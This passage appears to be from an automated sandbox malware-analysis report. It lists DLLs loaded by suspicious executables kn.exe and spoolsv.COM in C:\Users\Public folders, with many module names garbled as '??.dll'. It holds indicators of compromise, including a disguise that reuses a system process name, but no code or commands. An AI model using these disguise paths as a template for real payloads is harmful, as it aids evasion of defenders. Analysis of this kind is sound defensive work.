          Source: C:\Users\Public\kn.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: certcli.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: cabinet.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: cryptui.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: netapi32.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: ntdsapi.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: certca.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: samcli.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: logoncli.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: dsrole.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\Public\kn.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: version.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: url.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ieframe.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: iertutil.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: netapi32.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: userenv.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: wkscli.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: netutils.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: winmm.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: wininet.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??l.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??l.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ??.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: wldp.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: profapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: ieproxy.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: mssip32.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: smartscreenps.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMSection loaded: amsi.dllJump to behavior
